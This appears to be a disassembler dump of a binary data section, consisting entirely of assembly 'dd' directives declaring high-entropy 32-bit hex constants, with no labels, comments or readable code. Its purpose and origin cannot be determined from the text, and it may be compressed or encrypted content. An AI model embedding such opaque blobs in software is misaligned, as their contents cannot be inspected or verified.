		dd 0BACFE600h, 2D846D77h, 5CD900C5h, 9F3FB44Ch,	0F03D6F2h
		dd 0B15589EDh, 0E666F8CBh, 0B6BE00F8h, 6BE7854Fh, 813E480Bh
		dd 64E9807Fh, 6D40A03Ch, 0CA4A00BAh, 17B2E41Eh,	0B60E5BFAh
		dd 2087CB9Eh, 0A05F37F3h, 0D8E8E37Ch, 86AC00FCh, 4C033D2Dh
		dd 0C1C4317h, 0E4004063h, 30666E3Eh, 0D3795Dh, 0B02D96D5h
		dd 1A5FADC7h, 9AEBAA00h, 3A4162F6h, 44DC0B7Fh, 9F803275h
		dd 3937A8A4h, 1E743F00h, 0A61C12AAh, 100800FFh,	91F5F1DDh
		dd 0E1070D9Ch, 0C4DB851h, 1C1C3F1Fh, 2DEA9A40h,	3DBF3765h
		dd 40803625h, 134B8A54h, 210048BAh, 8F873BDEh, 0EEF07Dh
		dd 2EB53F11h, 0CE12C95Bh, 0D88E8500h, 0A9D5B9D1h, 501118ECh
		dd 124D10DDh, 0CDFA40h,	3A145158h, 0FFC3D930h, 0FDFBDB00h
		dd 0C4F839EEh, 4AC100E9h, 3B0C29F4h, 2700327Ch,	0BB548C76h
		dd 143E0FB8h, 40289458h, 7E862200h, 9FBB3A3Ch, 2FA22E00h
		dd 4BC6BAAh, 904A006Dh,	0F398B994h, 45F40795h, 56D30E06h
		dd 3040F822h, 3A08E6BBh, 0A9E639A1h, 0FB6F2E00h, 0DD175DB2h
		dd 0CA5503FDh, 96AB3DE2h, 0AD70AFC0h, 8AF73800h, 557B5862h
		dd 90A401C0h, 0CA7E11C1h, 0C45DC07h, 6D447600h,	0A1057189h
		dd 7DE60038h, 0D6EB55Ah, 40000EA4h, 0A6249DC5h,	1F8FD3AAh
		dd 0DB0B4Bh, 35CBAE0Fh,	3C00537Bh, 0A991082Ah, 1D6339B2h
		dd 13314DEh, 5054CAD7h,	700BF11Ah, 220F743Fh, 1440FA7h
		dd 21605C5Bh, 482C8E0h,	5FE36FD8h, 0C118903Dh, 641CEAB7h
		dd 50000411h, 9A67495Eh, 0C0A00EF9h, 7887E793h,	0AF24090h
		dd 5C054B43h, 1636882Dh, 0CF99400h, 66A759h, 5F6A0825h
		dd 448106AAh, 80FFA13Ah, 0E503D473h, 8D701Dh, 0B6603208h
		dd 0E05655EEh, 5F260903h, 0E8B378Fh, 6D5CDB91h,	0EDC2EE80h
		dd 3F00B99Fh, 7F1F3813h, 0F828EE3h, 0F283F8E8h,	5D441241h
		dd 0EB8DD811h, 396C9300h, 0DA5F80B2h, 0A9250014h, 8ED6B956h
		dd 5C3D27B7h, 228D82A0h, 0A455868Fh, 0D78095F4h, 58D8F9ACh
		dd 383AFB49h, 283724h, 643312DFh, 0EA00ACD3h, 66A83AE4h
		dd 7E03FBh, 81BD11F3h, 0D476795Fh, 6A947C00h, 573BAFC1h
		dd 6CDB300Ch, 0A7F2EED0h, 0ED13639h, 60464BA1h,	98123218h
		dd 0B99000FEh, 643404F0h, 366056EDh, 2A2EF878h,	176EF41Fh
		dd 4C8AB1h, 0FEC05DB2h,	140F6BA1h, 0FDBF0783h, 211D0980h
		dd 73ECC9h, 0B06534DEh,	0D575F795h, 33B51B03h, 0A89F6E4Fh
		dd 1FB41331h, 0C0BC3EF9h, 0CBF617Ah, 3900835Dh,	0BD2FDDB7h
		dd 748E9698h, 88ED0095h, 415DB126h, 150E09Ah, 36B0F498h
		dd 28F05400h, 0A08BD899h, 0F063FE7h, 3F6A1281h,	80CB0203h
		dd 2F2D9A18h, 57561h, 0CAD1660Fh, 0AAD39FBAh, 5B1FBD74h
		dd 0B2DE1FEEh, 4ED67D80h, 30C8797h, 61169649h, 481FD135h
		dd 0F8803846h, 8A3E34E1h, 7878BCh, 513F73CCh, 0F4EC3DAFh
		dd 629A9701h, 0CA31557Fh, 0FC78388Eh, 0BDCA300h, 840B9CE2h
		dd 757C8FF1h, 81942483h, 7E379FA0h, 4300B1F4h, 298C92BAh
		dd 77FE1Fh, 0B2842836h,	0B3C6DF60h, 1DB8AD70h, 3DF11417h
		dd 0E9611F03h, 9EA1E0BBh, 1F36FADCh, 18102BDh, 6A6892E2h
		dd 97ABE81Ah, 7E19B200h, 73DFEE6Fh, 0EAAF7E9Bh,	0B11E1814h
		dd 102C2950h, 0F4302160h, 0DCBA18h, 0D093143Ch,	0F0D8EBE1h
		dd 85BC9900h, 0EFC22AFCh, 0A23203FBh, 0E9B25818h, 0CF01AA80h
		dd 0DE1CAF1Fh, 0D6364300h, 374E28Ah, 0D5764B8h,	600C28C2h
		dd 3007C96Ah, 0B3901Ah,	7EBABB2Fh, 7BE4731Fh, 72508000h
		dd 392E10B2h, 64A30568h, 0EEAF6E27h, 0CD4836C0h, 49FE00EDh
		dd 0C1F2967Dh, 6503DDEFh, 839819E5h, 340818E1h,	0D5122072h
		dd 1F94EF00h, 22FF352h,	866F000Fh, 469304F4h, 6D00E027h
		dd 33033E85h, 1DDC05ACh, 7AAD227Ch, 0B61CC400h,	907A5E86h
		dd 27604BFCh, 0AEF75259h, 30F36011h, 2294A43Fh,	3426DD01h
		dd 5C3CEA2Dh, 49682980h, 0CCEFC8C5h, 0C7CA6107h, 104A6695h
		dd 4D032F12h, 814514BEh, 6CF04853h, 2DA51D4Fh, 0B4604EFh
		dd 2D00EF81h, 0EBF5FC38h, 2FA9818h, 669823CDh, 0D056DEECh
		dd 82C6B301h, 980B131h,	0EC69F973h, 0A700907Eh,	0D23A238Ah
		dd 7553E2Fh, 0E6FD9B27h, 5183096h, 12B86D66h, 0FFD73Ch
		dd 0DA11B45Eh, 0F75F8Ch, 70AA03FCh, 7646920Bh, 0B098837Dh
		dd 9B062D00h, 0EF28CC14h, 0ADBC00D2h, 0DF9179DEh, 9D09157Dh
		dd 5A6FEh, 32FD2FD1h, 0C3000CEh, 188F9B04h, 0A67E48BFh
		dd 0D6004377h, 207AA1C8h, 927EDEh, 790C1EE2h, 851DFB59h
		dd 1536D4F7h, 0FFCF5A00h, 0A35519B7h, 1246072Dh, 60399AB9h
		dd 0DFE1EEFCh, 70473D09h, 6B6E00C9h, 574594h, 0CB9DC7Dh
		dd 0ED7EC84Bh, 29DB6530h, 7183085h, 0E4AAC16Bh,	3E2D90A8h
		dd 0B31EB809h, 380D012h, 0B1F97CAh, 78711Dh, 0BE4BE325h
		dd 0F01CB255h, 88CDFF00h, 4099360Eh, 2BED009Bh,	9F05BA90h
		dd 7C4CBD1Dh, 8432000Ah, 0C86D8869h, 1A2B03D0h,	4239FD26h
		dd 59154EF0h, 9E129507h, 0D11088FEh, 91AAE3h, 237181F3h
		dd 0AD840769h, 0E826CA00h, 0DD256D65h, 0E00F002Ch, 80D47A27h
		dd 81005F7Eh, 0C412FF42h
		dd 176EB6h, 695AD3FDh, 26474EEh, 0EFF64607h, 82F1FA25h
		dd 0FFCCF8EBh, 317D03E2h, 985789A2h, 0A4707880h, 9BA3500h
		dd 0FAB273B9h, 0B5BB0E2Bh, 0C9208B5Eh, 0B641C829h, 0B4E11900h
		dd 596EE721h, 56F10024h, 0C261979Dh, 0F607D0FBh, 0D408D61Ch
		dd 0BBED608Eh, 8DA8FCh,	600129DCh, 0AB0B138Ch, 9A81CE00h
		dd 3B40E675h, 0C76C00C9h, 0EBB41FEFh, 0EA04A4A1h, 767C4388h
		dd 0D70909C0h, 71BB0035h, 2BFFBC9Ah, 320F7B1Fh,	0C5A9E1CFh
		dd 0AFC2ED40h, 0C894E06Eh, 0F4F00080h, 0CBD80715h, 0EA0732C5h
		dd 43783BD7h, 0AC49070h, 2E85Dh, 8C62D4C1h, 28AA23BBh
		dd 1BF44412h, 9B9E3800h, 0EE58CFh, 5FD5735Ch, 4627FCEFh
		dd 0C3995101h, 1D88FB94h, 0F434E9D4h, 8386007Fh, 1665CB5Fh
		dd 37F0BEB8h, 1FBF8000h, 6E69E61h, 0EDEF0032h, 7508FBCCh
		dd 94EEBB6Dh, 3E7C9300h, 8B6EA59Fh, 624300B4h, 0DB5673C2h
		dd 0FA7374CDh, 97F5D400h, 60D19DD5h, 42F0036h, 0AA4E8C47h
		dd 0F600D3DCh, 0C075780h, 7E76555Eh, 0F3E0FEh, 178888Dh
		dd 0C5206A14h, 0DFF25C03h, 9F153A13h, 0A3FEE6C0h, 58A05C76h
		dd 0FF407400h, 3B853D60h, 30F11200h, 90241565h,	0D5EE38D6h
		dd 52E61900h, 0E8608535h, 81662600h, 0E35C40BEh, 0C7B80EA0h
		dd 69C0A49Ah, 222B6AACh, 0C1294B00h, 0A7340C68h, 0F0DF452h
		dd 0B36C6579h, 90BE95C5h, 496FBF3Fh, 9E7B8803h,	0B0D9B218h
		dd 3C2C2D64h, 0F2006A51h, 3CDA0646h, 6E0016B7h,	0DFBB290Ah
		dd 0E5B9FAh, 0C53284D8h, 0E2EAE47Bh, 0C4BEF001h, 0CFE7F153h
		dd 3EBE60h, 9059B058h, 5FA291D1h, 61F83900h, 9F3338Ch
		dd 1657B4Fh, 406A1DFFh,	0DC2B72D4h, 0A10078E6h,	6DD69D77h
		dd 0E6940D14h, 0CE000B8h, 7EEB16CAh, 0F600B3F2h, 2A239F86h
		dd 73C05Bh, 0D7A1A91Eh,	33D69BDFh, 3E921A00h, 3C658A56h
		dd 19253F42h, 45EF880h,	883DC2A3h, 2CB7C300h, 0CD85ED9Ch
		dd 40573C86h, 7AD9500h,	0C4D3E43h, 48DAEF00h, 3122B94Eh
		dd 24A607D0h, 402FE69Ah, 0A901E2F4h, 723EBE03h,	0F073753Ah
		dd 3835340Ah, 9B00316Eh, 0CCDF45Ah, 0EE002E2Dh,	4C1B3BB0h
		dd 91FDCEDh, 254AC0F3h,	5407D01h, 83080D0h, 1D235C8h, 0DA6B0171h
		dd 0C61C0E2Ah, 4280C707h, 8A0021A5h, 0EDD8B1D9h, 79C592AAh
		dd 96C30013h, 6E09FEAFh, 0BE0C444Ah, 41CA2D71h,	0FD7320h
		dd 8CB95CBAh, 0A614BF4Ah, 7B87123Eh, 0C73A731Ch, 0F8C22D80h
		dd 2A9AE5Bh, 3F115886h,	0EC401BEFh, 6300E588h, 8EEBC6Fh
		dd 7D56A2Dh, 0F4C08010h, 0D220F0B9h, 8E004CA1h,	3018942Ch
		dd 7FE4DF72h, 623E0743h, 2092EE22h, 0E1819DF3h,	8F0A1A00h
		dd 0DC1F4D1Dh, 0C7E90111h, 0A978F25Ah, 2C6EA831h, 37828600h
		dd 0B15F67E8h, 35070393h, 0E9A4E32Bh, 0ECC957D9h, 0BD2DA6D3h
		dd 0CFD49Eh, 0ECDD129Dh, 720025CFh, 7A81641Ah, 2938CAh
		dd 0F2F64CB8h, 0C1F469E2h, 0B47A41BFh, 4F8F20h,	6FE5A606h
		dd 0C7F7A211h, 3832B00h, 3D2C3C96h, 0C4F22C97h,	0C2160234h
		dd 85606E90h, 0C72B41Eh, 3A1A5600h, 6F2258E5h, 841500AFh
		dd 0A6E98C7Dh, 69000727h, 3E32DA24h, 0B2FA9Dh, 0B84BEB30h
		dd 3F02C7D7h, 0AB6B3Ah,	0E2B98AE6h, 926040h, 0E7FA1AE9h
		dd 442334EFh, 99B0D817h, 667F1F00h, 0F1512Fh, 4A29A870h
		dd 0E442DF5Fh, 62004D7Ch, 4FEB1141h, 1C7ED638h,	4018328Fh
		dd 2F686E53h, 36009FA5h, 79611333h, 0E21DB27Ch,	71B100D8h
		dd 0D752665Ch, 0EE032C68h, 0DB11783Fh, 0C0FCF1E4h, 459DE840h
		dd 6A3A095Eh, 7C0EE518h, 8DDBFEC0h, 213CBC4h, 7F00B533h
		dd 0AADC30C1h, 0BBF33B74h, 8688B300h, 710BBDD6h, 71DFCC5Ch
		dd 0FF182B00h, 0E0742097h, 1923CF0h, 49C8027Ah,	166D1F48h
		dd 86D89C63h, 9901C130h, 5F256FD0h, 0C3207E4Fh,	7D1700CEh
		dd 0F152D789h, 39001851h, 685FD901h, 1C7CB0B1h,	38BB60h
		dd 28134B44h, 3400FDA0h, 0D9C6EA6Ch, 1AF01A8h, 76D6A4E6h
		dd 24879047h, 910008ECh, 65D3541Ch, 1ED8DC21h, 0B0247B70h
		dd 5DFAA990h, 0A003D3EDh, 0D1AD0C86h, 0BF081381h, 1B121C9Fh
		dd 2B060CBh, 0C100C6E8h, 4990A6FAh, 0E45A4B3h, 92698D4Eh
		dd 9E05D3AFh, 0D5180302h, 8F0A528h, 71C01D78h, 53918897h
		dd 0D26B00D1h, 0F936EA2Ah, 1CA82FD9h, 0AD02FF5Ah, 9D20FEC0h
		dd 2508059h, 1EC19441h,	87919772h, 9063752Ch, 0EB4261D5h
		dd 0ECA5F1Dh, 7C88300h,	432DC2h, 0A24EE7BCh, 1492BD2Bh
		dd 1B68E600h, 0B3F92A66h, 3D5C4CB7h, 37D810Eh, 0E3C3D6A0h
		dd 7B00AEBBh, 0FC889CF5h, 0DC848Eh, 0F92E2F5Fh,	8C0B4FC9h
		dd 0BDA14D00h, 274289ECh, 57390F45h, 0B7206FA2h, 43EABE6Dh
		dd 0E953CCA8h, 1EE5DB00h, 1A8CA1C7h, 0F73A0060h, 0EACB0955h
		dd 7C009A62h, 491E6830h, 7B07A78Bh, 23A01EAEh, 0D10540F7h
		dd 46120DA8h, 904A8601h, 835CE6Dh, 6F802E8h, 0B88A26D0h
		dd 0B0F47142h, 497611FCh, 0B61F5A0Bh, 7377837Fh, 0EBCFF035h
		dd 0B8D73DFCh, 28AC1D28h, 0F46A13h, 145328BCh, 73367930h
		dd 50B21248h, 0D20001E8h, 3334F0DFh, 71CF25h, 82B31674h
		dd 0BFA94452h, 7FD73602h, 80C18556h, 0F293AE2Ch, 275E0FF4h
		dd 405F81C8h, 0C04A9910h, 5090EBC9h, 75ED7900h,	0BA2AB404h
		dd 6BE007EAh, 2437883Bh, 0D081BE71h, 0F6E0D54Ah, 0BDED0F05h
		dd 107BB7Eh, 2381F05Bh,	993BA242h, 8FC5801Dh, 0DDAA46DAh
		dd 0F1D900B3h, 7807D37Ah, 9D3DB63Eh, 0DB5100FCh, 0E623578Eh
		dd 857E32h, 0E1D6B325h,	99460A26h, 2C342D00h, 0A16551F8h
		dd 0BD9D0028h, 0FF26D7AEh, 9C6006A6h, 0EDDD9E48h, 0C0347662h
		dd 0E3CC110h, 0FD00FA20h, 4384530Fh, 0F141BBh, 29461B31h
		dd 9447B0FFh, 52328B00h, 8FA7CF0Bh, 6D6C0093h, 4329C705h
		dd 0A4007FB7h, 0E28C7711h, 745D53B2h, 0C1D601A8h, 70FC06ECh
		dd 0F423EC56h, 0EA784660h, 0DB37EDh, 82A36F4Bh,	27DC050h
		dd 8071DC3Ch, 0B8EEC1DFh, 30D10h, 6CBBA689h, 0D84F283Ch
		dd 7D66BE03h, 0D82B0935h, 0D2FF19h, 0C38E4B45h,	0E8C74E04h
		dd 0A64CD500h, 0EE7827AEh, 0DC950029h, 5B55097Ah, 313BFC2Ah
		dd 995680C4h, 0DEF54B75h, 0B3330EEAh, 0D287FEB8h, 0C85D5079h
		dd 7707D1F6h, 0ECFFEFD0h, 1643F5E0h, 4F32009Eh,	80BE1A6Bh
		dd 0F00C85E5h, 3806105Ch, 9405007Dh, 17C2A034h,	0E000D61h
		dd 324C8B26h, 0DF21A4Ah, 0FEE716E1h, 92116068h,	20349A07h
		dd 0E28099FCh, 0A15BF1h, 3E59F6C2h, 9721928Eh, 0B3417300h
		dd 65854971h, 0D3020016h, 347A8A79h, 0E13B7847h, 0B70C7D19h
		dd 6190FCDFh, 0DE8E00E5h, 4DBA4C98h, 6F1612CDh,	190252FDh
		dd 80848C64h, 9FC0C3A0h, 0F8E10071h, 58A70FADh,	0AC005A42h
		dd 704F74A6h, 121905h, 3BEB637Ch, 0F4C66F0Ah, 0E599DA1Eh
		dd 105A8E8h, 7F11D4D3h,	815A8441h, 62F1C3F4h, 24D220h
		dd 1C02C412h, 0EFEA78ADh, 0DFCFB00h, 0C9546521h, 0E21730A8h
		dd 62C4F830h, 8607F7FAh, 9FD21D6Bh, 0B95AB230h,	6DE81375h
		dd 0D018001Eh, 0D6158B77h, 0E1E7D20Eh, 2EB900BAh, 24806A5Bh
		dd 3B6C08FEh, 0BCE40072h, 47B56BE3h, 9103CA0Ch,	59D0F55Bh
		dd 0DDCFD0A8h, 0BAF7642h, 1C0C45C0h, 0CA0D3C80h, 1839D7CDh
		dd 0BA560038h, 7CA8AEB9h, 0A39A07D0h, 0C0ADA7C1h, 57C80BCAh
		dd 41163D02h, 9C1E7BACh, 7AC71020h, 23A5C27Dh, 4ECD8389h
		dd 0E45388CFh
		dd 11E8006Ch, 8DDA3356h, 5A001D20h, 76E38C8Ah, 0BA57C7h
		dd 498FE6C1h, 0E49A9DEFh, 0B7E07300h, 7727CCECh, 0A2B60303h
		dd 0DA700C4Dh, 0D0C12EC0h, 0A03D97Ch, 23DEE29h,	0CA080023h
		dd 13B29419h, 0FC00560Fh, 0BBC7F2A3h, 2EDA83h, 0A9E5D07Bh
		dd 9097CA3Ch, 551A0500h, 253FD929h, 48C9E69Dh, 0CD030D53h
		dd 0B9D0EE27h, 0A880C4F2h, 633CDE7Eh, 0BE561000h, 6E1AA3D2h
		dd 0DCFF6C6Bh, 9007D1B9h, 75BCCA88h, 0E283C882h, 0D68038BEh
		dd 70B439DEh, 6422C7C6h, 0F3DF473h, 794018F0h, 15F6208Ch
		dd 6DF0F554h, 4AA23F00h, 9DF1D21Ch, 7E8900EFh, 12D3ADD5h
		dd 0F950135Dh, 0E80051A0h, 0C7C668Ch, 30A3B9E9h, 31509003h
		dd 0BD05343Bh, 9E96BFE3h, 0A6C28000h, 0A75BF399h, 303A0420h
		dd 300F358Fh, 6EE583F3h, 418CE0FDh, 0D8EA240Ah,	0CCDD1468h
		dd 83118700h, 30340BB9h, 5F92E100h, 0BEE93CBDh,	26C8A0B8h
		dd 87740103h, 1DA16F81h, 188046B5h, 0F804EE57h,	450900A5h
		dd 0FC765D92h, 2F0068F0h, 0CF6AD218h, 49A202C2h, 7238440Ch
		dd 1FD0B233h, 990656C0h, 7783EF04h, 212A57D1h, 0DE9D068h
		dd 6EC40h, 250EF394h, 678D0811h, 40AB3A07h, 50C586D0h
		dd 0C0FA0C44h, 8260A21h, 2AAA42C6h, 0E08186Ah, 0F9CCBFEh
		dd 178852FBh, 30C0215h,	3F9A739Dh, 0FDF6E18Ch, 807D109h
		dd 10FB422Ah, 0FE8A71E5h, 3BCA8418h, 99A429Bh, 776E21CCh
		dd 0C63211A3h, 3A426F08h, 90082610h, 848E124h, 304A25E2h
		dd 10593190h, 0AE1ED9C5h, 4FFE0C05h, 1852780Ah,	0C43858Ah
		dd 42B62E08h, 0A211557Eh, 0A84AA10Dh, 8C499619h, 208AB8F0h
		dd 35360C4Bh, 1118A804h, 1047F188h, 0A3F1049h, 5FA61E82h
		dd 4C600670h, 1B00403Dh, 4BF94EB7h, 0C12D64h, 8685D143h
		dd 0EF7BBFC9h, 0E6BB4403h, 0B819290Bh, 1267DDA8h, 42F454F2h
		dd 0E933C924h, 3FA2BDC0h, 351DDB12h, 0D86F1041h, 98400A1Fh
		dd 3AF005h, 82540636h, 4BE90D16h, 0CDBB6605h, 0C800FAB5h
		dd 41B7862Fh, 0CCF830C6h, 0FFFFCA0h, 0EF7CD400h, 6C9FBC23h
		dd 374985Dh, 61A51DFEh,	3DF3D154h, 41820190h, 1C26C92Bh
		dd 0E37A54E0h, 73FD5C89h, 76B14330h, 0E279F0DEh, 2D24B590h
		dd 7E8FA45Ah, 7025420Eh, 208A6255h, 0A5F2218Ch,	0F6810043h
		dd 4294443Ch, 46010DFEh, 0CE47A93Eh, 0D89E2F01h, 3250319Dh
		dd 0CC086021h, 17F8B402h, 0A049796Dh, 9667F14h,	401E1426h
		dd 0BE0F34B0h, 0D1A0A13Eh, 308499Dh, 1801E409h,	0CFDC2026h
		dd 98447F60h, 50DF0014h, 0FA34737Ch, 8A0078CDh,	0BDC99A1Ah
		dd 282B2A9h, 0F3461189h, 9CAB9FA5h, 99FAD606h, 0BC59C000h
		dd 1D4CB8E1h, 97BA0E13h, 1937CEEh, 55F22444h, 992CE872h
		dd 0A86778F8h, 0B96EC018h, 8188B7D1h, 0C870F79Bh, 0EC950002h
		dd 644C4A69h, 880021DFh, 25EAD8A8h, 0F4A0A7ACh,	0A11D05C7h
		dd 475230D2h, 8291D7C0h, 5C405A18h, 5CB0ABB6h, 9430EE3Ch
		dd 7B84649Fh, 844EC500h, 574FF305h, 0F419C39Bh,	0C1CDA3CFh
		dd 24705EF8h, 7237525Ch, 0E487C0BDh, 17C0CC3h, 78B9DA18h
		dd 0D3B72001h, 409748E1h, 0B3335294h, 6B0284AEh, 0D12C336h
		dd 4FA84964h, 5DC2FC5h,	0B65E37E6h, 0BA4DC0B1h,	1558F22Ch
		dd 0CAC38464h, 12867C88h, 7FD903h, 0AB7022A0h, 0BA1C1F53h
		dd 0C22A36Fh, 57812C62h, 46007E50h, 5E70260Ch, 74C40B54h
		dd 0A1C363F7h, 411CDEB6h, 15804DF3h, 0D32C9075h, 0C64501FCh
		dd 0BCFE6BA4h, 5AA9FC48h, 0F7F82B00h, 0B4C1E7DDh, 72CA28E2h
		dd 71FB1980h, 64BF386Dh, 8900C0ACh, 0C16A3E10h,	52D1EDh
		dd 2A0B5521h, 622FC350h, 48EE7E88h, 1029880h, 0ABE21D9Ah
		dd 7C200864h, 0F8447B08h, 4818E26Bh, 0CC02D4C5h, 24D2D460h
		dd 884594C0h, 0DA0EAC90h, 0E65E7B82h, 0E8AF99h,	0C33A5C43h
		dd 4CB312E7h, 30D8752Bh, 2291C98Fh, 1916C296h, 28C8504Fh
		dd 0ECA0CE87h, 5E12A3CAh, 48004935h, 2A7FB9BAh,	104EFC91h
		dd 19AB4AAh, 0B18C2C5Eh, 0D0641F61h, 18A50040h,	0EA60F9Ch
		dd 96268EA0h, 88C01024h, 246B120h, 87C9E7C6h, 7040DF32h
		dd 0D5034D2h, 0A879AB94h, 40889B60h, 2CD3176h, 0FDFADAA0h
		dd 0A0878B0Dh, 1090A94Dh, 7700236Fh, 0D5BE69A8h, 3AA90E7Bh
		dd 507F453Fh, 0E0DE9066h, 0E705005Ah, 0BE626B78h, 0CF39D843h
		dd 0B0A84C83h, 60C0BEC4h, 6806F84Bh, 54241A22h,	0E4505025h
		dd 970B0707h, 0CADFD0C8h, 40710148h, 0E060D396h, 0B6009847h
		dd 0D2F603EEh, 732B41D0h, 52511483h, 0A800B4E7h, 9A47E6B6h
		dd 2158D1CDh, 81A70244h, 0CE910A99h, 65762648h,	10BE07D8h
		dd 0BAD6D0A3h, 0AC949A09h, 0DCEEBC87h, 286E0629h, 0AB0122B1h
		dd 19D42F3Ch, 81E8D535h, 2888BDE8h, 26ECA563h, 4040949Dh
		dd 8AC84285h, 541EA10Bh, 28B8A3BCh, 7D21011Bh, 17EA2925h
		dd 0C08444CDh, 283D3484h, 2A501D7Ch, 50241FE4h,	88412032h
		dd 0F90099EDh, 1BFEE483h, 89A329C2h, 0DDE82035h, 76054203h
		dd 0A022970Eh, 0F905D040h, 1E1CE0C5h, 869338A7h, 98F7791Bh
		dd 0E296FE06h, 0F0A94703h, 29E67C5Eh, 408A88Fh,	203DF036h
		dd 5149617h, 8FC6DDF8h,	16BC0E3Bh, 68D44981h, 3DA434A9h
		dd 69CAEA01h, 0C12C1B0Ah, 3EF01ECh, 0F4C3160h, 8DE8CE5Ch
		dd 950D570Ch, 38CBAD65h, 0CD022877h, 60D476C8h,	0DF0A4052h
		dd 0A0415552h, 69D88684h, 538AD091h, 92B712C0h,	0D6F3EA8h
		dd 1460296h, 0B939984Ch, 0F85C7553h, 0F5002D7Bh, 0A414826Dh
		dd 1FF77264h, 92633A8Ch, 56202C2Eh, 0F857072Ch,	0C3478804h
		dd 6F160490h, 0ECC8A419h, 4DF71F83h, 0AA3DC0D0h, 4E54CF3Fh
		dd 0B81E8890h, 0D4E4440Fh, 0E61FCB82h, 0A3F960EDh, 6F51C03Fh
		dd 0F64159AEh, 0A2C5A900h, 6A4EE16h, 0DF0F1F3h,	70610118h
		dd 0CC08E741h, 153048AFh, 481058A2h, 8307F771h,	0F891FF2h
		dd 4866DD02h, 97CFC44h,	77A5929Dh, 6F89782Eh, 1873E680h
		dd 55021B8Fh, 36354ABBh, 53C8A311h, 4C5299CDh, 0D8006231h
		dd 0C01D27h, 0F5842FADh, 0A4C99C26h, 0D15FE30Ch, 2E890D2h
		dd 170C2D8Dh, 0E0DD58D5h, 0C17472h, 45FB8EF5h, 11B552DEh
		dd 0D46B1B00h, 91109CFCh, 906F0F60h, 0B0029D7h,	1B9FE3BCh
		dd 8F401C0Eh, 0CFB5A0EDh, 0D7DC90h, 0DDD6BDBBh,	8931DE0Bh
		dd 4BB62200h, 0BFEA16E2h, 8E8C00D0h, 2A91C733h,	6E7BCAC4h
		dd 0D4ED4B01h, 6DAE94C1h, 6FF0F0h, 0B0A0D60Bh, 452596B7h
		dd 3F1F0A24h, 0A02B400Eh, 0EC6B4680h, 0EF8B006Eh, 621A82D9h
		dd 0AA00861Ch, 4C7DC6B7h, 15D349BCh, 44E5DB9h, 0C02C29B1h
		dd 0FE3E71E9h, 7A5807BEh, 169B8A6h, 9ECAE5F6h, 7EC182E8h
		dd 918D0044h, 19ABDF9Dh, 90A188D2h, 6E4880BFh, 0B7AE4B6Dh
		dd 0BCE907C7h, 46E8CFC5h, 8D002188h, 0F3A85A6Ah, 0DF1F0Eh
		dd 0A714F7A5h, 0C044186Dh, 0DC113400h, 95D1537Ch, 0B8800F8h
		dd 0F34E5B77h, 5800719Ah, 1D9EE396h, 0E89C9919h, 0A7A21CF4h
		dd 7FBE054Fh, 684B805Eh, 43CEDD1h, 12005F6h, 0BE0793E9h
		dd 76D5615Dh, 4AE35820h, 0F7BD10B8h, 0C022C4E8h, 30B31707h
		dd 7A047588h, 9D86E602h, 0A7D124A9h, 885B6C88h,	2C87288Fh
		dd 9F11BD4Bh, 1C0AA3DEh, 8AC18D94h, 0CD6CD350h,	1E810D3h
		dd 74AFC089h, 43882C85h, 4541009Ch, 0BAF94FAAh,	38BD1D7Fh
		dd 96E83A4h, 76C8652Dh,	0E92C02A0h, 0BA025272h,	84684470h
		dd 4883CF0h, 2850061h
		dd 0D14BAAA2h, 2C00E34Dh, 4554F080h, 24CC2BEFh,	8E0CBE87h
		dd 922A84DEh, 8F116F9Ch, 0BDBA6181h, 0F44BE6A7h, 40E46900h
		dd 0BE67FE49h, 0B091C409h, 39938133h, 3C24D43Ch, 0F6F73AB3h
		dd 0C2C5199Eh, 0D218C125h, 76083495h, 0B13360D2h, 98028517h
		dd 0BD9D5B08h, 0C51640BBh, 2CE8EDF2h, 7EF257h, 88535E33h
		dd 3FDBF8A8h, 59D3A8A0h, 0ECE0FFA0h, 91B21700h,	9D74E330h
		dd 20A7607Ch, 3851B586h, 96A3C801h, 64617545h, 16DCE1D4h
		dd 0A7CAA4h, 8AD48243h,	94025CCDh, 4D4350D9h, 0B93B605Bh
		dd 449100BDh, 0B1E7F245h, 0E862225Dh, 804B2408h, 44629D84h
		dd 0BC501B4h, 867FDDA2h, 0E72CC04h, 0FE86150h, 9793DA00h
		dd 0D54C9D89h, 0A80B0385h, 0B53A405Dh, 38679200h, 236608C1h
		dd 0C3B0A869h, 4D7909FEh, 0EA00C6E9h, 887A6DC9h, 1223BC00h
		dd 0A0B0CBEEh, 0D23E03FFh, 0AEB54611h, 0DEF2DFB8h, 0AA2CC00h
		dd 0EC61F86Dh, 5DF8A7h,	47F15370h, 57744FD6h, 0A906806h
		dd 10999B2Bh, 10CEC25h,	0BB407A31h, 84E850BFh, 0A8AB7C63h
		dd 41D7B8h, 0D606E4EFh,	0BB011AC5h, 4D285E7Ah, 0C7005CD4h
		dd 8D739022h, 0C2983Dh,	673A059Bh, 2DE6DE41h, 42FFB400h
		dd 0E7DDAC7Fh, 70C50F56h, 1F81B699h, 0F4C0B866h, 0B51FC2C8h
		dd 0FEC0945Bh, 0D1BCDECAh, 0C174C31h, 0E37A1601h, 216C5FD3h
		dd 0CCC441BCh, 2DE0C88h, 398AC74h, 9610169Fh, 0CEFC8044h
		dd 33A87F00h, 0E93BB5E0h, 6FC30601h, 0C8BF906Eh, 0CC23EE09h
		dd 0A75400C1h, 4841011Bh, 0B40010CBh, 0C343AF06h, 500A373h
		dd 0FD8EAA46h, 527A871h, 119AC659h, 2CC0159Dh, 0F4DC3680h
		dd 830028AEh, 0DF7E77FBh, 91B01A27h, 6E611308h,	0F4500348h
		dd 0B87A0311h, 4AB129Dh, 981AE8B2h, 0C898CB6Ch,	0F8AAC024h
		dd 0F7121601h, 60005A78h, 0EC5F4664h, 0C3CC0453h, 0CBC6AE91h
		dd 0C0E5C8F0h, 66FF9A95h, 0B5FAEA1Ch, 88C549h, 6B0BCAFh
		dd 89A768EBh, 9CB591E8h, 96897441h, 20629D1Bh, 7FCF05C3h
		dd 0A5ECD6E0h, 0DA4640B2h, 5A7FF000h, 1683D396h, 95072084h
		dd 74E5B603h, 900A3C1Bh, 0D6F0E9h, 3569DDEDh, 95485364h
		dd 7B015412h, 2141540Fh, 1DC94B8Dh, 0E8D6A460h,	24489940h
		dd 0ED6A048Ch, 8A44C4C7h, 0CB980048h, 7A957651h, 0AAEE00D2h
		dd 36120627h, 73121A48h, 0A440BE2Bh, 5715B060h,	7C5F7CEDh
		dd 4B24Dh, 2DA41048h, 9A9869DAh, 7754AB00h, 4DC9D2DDh
		dd 0D5C50079h, 0E97F3743h, 403885C1h, 6F0509CBh, 86C9753h
		dd 57605273h, 2E466610h, 0EF255CBh, 0F062C1F2h,	9C6AF659h
